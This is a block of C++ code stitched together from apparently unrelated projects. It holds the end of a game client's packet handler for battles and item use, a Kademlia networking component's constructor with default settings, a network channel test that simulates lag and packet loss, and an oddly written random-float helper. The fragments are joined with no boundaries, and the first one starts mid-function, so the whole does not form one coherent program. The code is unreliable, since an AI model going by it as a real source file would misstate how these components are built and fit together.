uint32_t ItemID = Data.Read<uint32_t>();
const _Item *Item = Stats->Items[ItemID];
int Count = (int)Data.Read<uint8_t>();
// Add items
Player->Inventory->AddItem(Item, Count);
}
// Check win or death
int PlayerSide = Player->BattleSide;
int OtherSide = !PlayerSide;
if(!SideDead[PlayerSide] && SideDead[OtherSide]) {
Player->PlayerKills += PlayerKills;
Player->MonsterKills += MonsterKills;
}
Player->Battle = nullptr;
delete Battle;
Battle = nullptr;
DetermineNextGoal();
} break;
case PacketType::ACTION_RESULTS: {
// Create result
_ActionResult ActionResult;
bool DecrementItem = Data.ReadBit();
bool SkillUnlocked = Data.ReadBit();
bool ItemUnlocked = Data.ReadBit();
uint32_t ItemID = Data.Read<uint32_t>();
int InventorySlot = (int)Data.Read<char>();
ActionResult.ActionUsed.Item = Stats->Items[ItemID];
// Set texture
if(ActionResult.ActionUsed.Item)
ActionResult.Texture = ActionResult.ActionUsed.Item->Texture;
// Get source change
HandleStatChange(Data, ActionResult.Source);
// Update source fighter
if(ActionResult.Source.Object) {
ActionResult.Source.Object->TurnTimer = 0.0;
ActionResult.Source.Object->Action.Unset();
ActionResult.Source.Object->Targets.clear();
// Use item on client
if(Player == ActionResult.Source.Object) {
if(ActionResult.ActionUsed.Item) {
if(DecrementItem) {
size_t Index;
if(Player->Inventory->FindItem(ActionResult.ActionUsed.Item, Index, (size_t)InventorySlot)) {
Player->Inventory->DecrementItemCount(Index, -1);
Player->RefreshActionBarCount();
}
}
if(SkillUnlocked) {
Player->Skills[ActionResult.ActionUsed.Item->ID] = 0;
}
if(ItemUnlocked) {
Player->Unlocks[ActionResult.ActionUsed.Item->UnlockID].Level = 1;
}
}
}
}
// Update targets
uint8_t TargetCount = Data.Read<uint8_t>();
for(uint8_t i = 0; i < TargetCount; i++) {
HandleStatChange(Data, ActionResult.Source);
HandleStatChange(Data, ActionResult.Target);
if(Battle) {
// No damage dealt
if((ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY || ActionResult.ActionUsed.GetTargetType() == TargetType::ENEMY_ALL)
&& ((ActionResult.Target.HasStat(StatType::HEALTH) && ActionResult.Target.Values[StatType::HEALTH].Float == 0.0f) || ActionResult.Target.HasStat(StatType::MISS))) {
ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT_SHORT;
ActionResult.Speed = HUD_ACTIONRESULT_SPEED_SHORT;
}
else {
ActionResult.Timeout = HUD_ACTIONRESULT_TIMEOUT;
ActionResult.Speed = HUD_ACTIONRESULT_SPEED;
}
Battle->ActionResults.push_back(ActionResult);
}
else if(ActionResult.Target.Object == Player) {
}
}
} break;
case PacketType::STAT_CHANGE: {
_StatChange StatChange;
HandleStatChange(Data, StatChange);
} break;
case PacketType::WORLD_HUD:
Player->Health = Data.Read<float>();
Player->Mana = Data.Read<float>();
Player->MaxHealth = Data.Read<float>();
Player->MaxMana = Data.Read<float>();
Player->Experience = Data.Read<int32_t>();
Player->Gold = Data.Read<int32_t>();
Player->CalculateStats();
break;
default:
break;
}
}
CMuleKad::CMuleKad(QObject *parent)
: CLoggerTmpl<QObject>("MuleKad", parent)
{
m_uTimerID = startTimer(10);
m_pBootstrap = NULL;
m_pRequestManager = new CRequestManager(MIN2S(60), this);
m_bEmbedded = false;
m_uLastContact = 0;
CSettings::InitSettingsEnvironment("Neo", "MuleKad", "neoloader.com");
QMap<QString, CSettings::SSetting> Settings;
Settings.insert("Kademlia/UDPPort", CSettings::SSetting(GetRandomInt(4800, 4900)));
Settings.insert("Kademlia/KadID", CSettings::SSetting(""));
Settings.insert("Kademlia/UDPKey", CSettings::SSetting(0));
Settings.insert("Kademlia/Debug", CSettings::SSetting(0));
Settings.insert("Kademlia/Bootstrap", CSettings::SSetting("http://upd.emule-security.org/nodes.dat")); // http://upd.emule-security.org/nodes.dat
Settings.insert("Log/Store", CSettings::SSetting(false));
Settings.insert("Log/Limit", CSettings::SSetting(256,128,1024));
Settings.insert("Gui/LogLength", CSettings::SSetting(256,128,1024));
Settings.insert("Gui/Window", CSettings::SSetting(""));
Settings.insert("Gui/Main", CSettings::SSetting(""));
Settings.insert("Gui/RoutingTable", CSettings::SSetting(""));
Settings.insert("Gui/LookupList", CSettings::SSetting(""));
m_Settings = new CSettings("MuleKad", Settings, this);
m_UDPKey = m_Settings->GetInt("Kademlia/UDPKey");
if(!m_UDPKey)
{
m_UDPKey = GetRand64();
m_Settings->SetSetting("Kademlia/UDPKey",m_UDPKey);
}
SetLogLimit(m_Settings->GetInt("Log/Limit"));
if(m_Settings->GetBool("Log/Store") )
SetLogPath(m_Settings->GetSettingsDir() + "/Logs");
QStringList Args = QApplication::instance()->arguments();
QString Name;
int NameIndex = Args.indexOf("-name");
if(NameIndex != -1 && NameIndex + 1 < Args.size())
Name = Args.at(NameIndex + 1);
m_pInterface = new CIPCServer(this);
if(Name.isEmpty())
m_pInterface->LocalListen("MuleKad");
else
m_pInterface->LocalListen(Name);
int ListenIndex = Args.indexOf("-listen");
if(ListenIndex != -1 && ListenIndex + 1 < Args.size())
m_pInterface->RemoteListen(Args.at(ListenIndex + 1).toULong());
connect(m_pInterface, SIGNAL(RequestRecived(const QString&, const QVariant&, QVariant&)), this, SLOT(OnRequestRecived(const QString&, const QVariant&, QVariant&)));
#ifdef WIN32
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(2, 2);
if (0 != WSAStartup(wVersionRequested, &wsaData))
LogLine(LOG_ERROR, L"Couldn't initialise windows sockets");
#endif
g_bLogKad = m_Settings->GetInt("Kademlia/Debug") == 1;
m_KadID = m_Settings->GetBlob("Kademlia/KadID");
if(m_KadID.size() != 16)
{
m_KadID = CAbstractKey(16,true).ToByteArray();
m_Settings->SetBlob("Kademlia/KadID",m_KadID);
}
m_KadHandler = NULL;
}
void TestCChannelRobustness()
{
notes << "Testing CBytestream" << endl;
CBytestream bsTest;
bsTest.Test();
notes << "\n\n\n\nTesting CChannel robustness" << endl;
int lagMin = 50;
int lagMax = 400;
int packetLoss = 15; // In percents
float packetsPerSecond1 = 10.0f; // One channel sends faster than another
float packetsPerSecond2 = 0.2f;
int packetExtraData = 8192; // Extra data in bytes to add to packet to check buffer overflows
CChannel3 c1, c2; //CChannel_056b c1, c2;
SmartPointer<NetworkSocket> s1 = new NetworkSocket(); s1->OpenUnreliable(0);
SmartPointer<NetworkSocket> s2 = new NetworkSocket(); s2->OpenUnreliable(0);
SmartPointer<NetworkSocket> s1lag = new NetworkSocket(); s1lag->OpenUnreliable(0);
SmartPointer<NetworkSocket> s2lag = new NetworkSocket(); s2lag->OpenUnreliable(0);
NetworkAddr a1, a2, a1lag, a2lag;
a1 = s1->localAddress();
a2 = s2->localAddress();
a1lag = s1lag->localAddress();
a2lag = s2lag->localAddress();
c1.Create( a1lag, s1 );
c2.Create( a2lag, s2 );
s1lag->setRemoteAddress( a2 );
s2lag->setRemoteAddress( a1 );
std::multimap< int, CBytestream > s1buf, s2buf;
int i1=0, i2=0, i1r=0, i2r=0;
float packetDelay1 = 10000000;
if( packetsPerSecond1 > 0 )
packetDelay1 = 1000.0f / packetsPerSecond1;
float packetDelay2 = 10000000;
if( packetsPerSecond2 > 0 )
packetDelay2 = 1000.0f / packetsPerSecond2;
float nextPacket1 = 0;
float nextPacket2 = 0;
for( int testtime=0; testtime < 100000; testtime+= 10, nextPacket1 += 10, nextPacket2 += 10 )
{
tLX->currentTime = AbsTime(testtime);
// Transmit number sequence and some unreliable info
CBytestream b1, b2, b1u, b2u;
if( nextPacket1 >= packetDelay1 )
{
nextPacket1 = 0;
i1++;
b1.writeInt(i1, 4);
for( int f=0; f<packetExtraData; f++ )
b1.writeByte(0xff);
c1.AddReliablePacketToSend(b1);
}
if( nextPacket2 >= packetDelay2 )
{
nextPacket2 = 0;
i2++;
b2.writeInt(i2, 4);
for( int f=0; f<packetExtraData; f++ )
b2.writeByte(0xff);
c2.AddReliablePacketToSend(b2);
}
c1.Transmit( &b1u );
c2.Transmit( &b2u );
b1.Clear();
b2.Clear();
b1.Read(s1lag.get());
b2.Read(s2lag.get());
b1.ResetPosToBegin();
b2.ResetPosToBegin();
// Add the lag
if( b1.GetLength() != 0 )
{
if( GetRandomInt(100) + 1 < packetLoss )
notes << testtime << ": c1 sent packet - lost (" << c1.Messages.size() <<
" in buf): " << printBinary(b1.readData()) << endl;
else
{
int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10
s1buf.insert( std::make_pair( lag, b1 ) );
notes<< testtime << ": c1 sent packet - lag " << lag << " size " << b1.GetLength() << " (" << c1.Messages.size() <<
" in buf): " << printBinary(b1.readData()) << endl;
}
}
for( std::multimap< int, CBytestream > :: iterator it = s1buf.lower_bound(testtime);
it != s1buf.upper_bound(testtime); it++ )
{
it->second.ResetPosToBegin();
it->second.ResetPosToBegin();
it->second.Send(s1lag.get());
}
if( b2.GetLength() != 0 )
{
if( GetRandomInt(100) + 1 < packetLoss )
notes << testtime << ": c2 sent packet - lost (" << c2.Messages.size() <<
" in buf): " << printBinary(b2.readData()) << endl;
else
{
int lag = ((testtime + lagMin + GetRandomInt(lagMax-lagMin)) / 10)*10; // Round to 10
s2buf.insert( std::make_pair( lag, b2 ) );
notes << testtime << ": c2 sent packet - lag " << lag << " size " << b2.GetLength() << " (" << c2.Messages.size() <<
" in buf): " << printBinary(b2.readData()) << endl;
}
}
for( std::multimap< int, CBytestream > :: iterator it = s2buf.lower_bound(testtime);
it != s2buf.upper_bound(testtime); it++ )
{
it->second.ResetPosToBegin();
it->second.ResetPosToBegin();
it->second.Send(s2lag.get());
}
// Receive and check number sequence and unreliable info
b1.Clear();
b2.Clear();
b1.Read(s1.get());
b2.Read(s2.get());
b1.ResetPosToBegin();
b2.ResetPosToBegin();
if( b1.GetLength() != 0 )
{
notes << testtime << ": c1 recv packet (ping " << c1.getPing() << "): " << printBinary(b1.readData()) << endl;
b1.ResetPosToBegin();
while( c1.Process( &b1 ) )
{
while( b1.GetRestLen() != 0 )
{
int i1rr = b1.readInt(4);
notes << testtime << ": c1 reliable packet, data " << hex(i1rr) <<
" expected " << i1r+1 << " - " << (i1rr == i1r+1 ? "good" : "ERROR!") << endl;
i1r = i1rr;
for( int f=0; f<packetExtraData; f++ )
b1.readByte();
}
b1.Clear();
}
}
if( b2.GetLength() != 0 )
{
notes << testtime << ": c2 recv packet (ping " << c2.getPing() << "): " << printBinary(b2.readData()) << endl;
b2.ResetPosToBegin();
while( c2.Process( &b2 ) )
{
while( b2.GetRestLen() != 0 )
{
int i2rr = b2.readInt(4);
notes << testtime << ": c2 reliable packet, data " << hex(i2rr) <<
" expected " << i2r+1 << " - " << (i2rr == i2r+1 ? "good" : "ERROR!") << endl;
i2r = i2rr;
for( int f=0; f<packetExtraData; f++ )
b2.readByte();
}
b2.Clear();
}
}
}
}
float FrameGenerator::GetRandomFloat()
{
return ((float) GetRandomInt() * 3.14159);
}
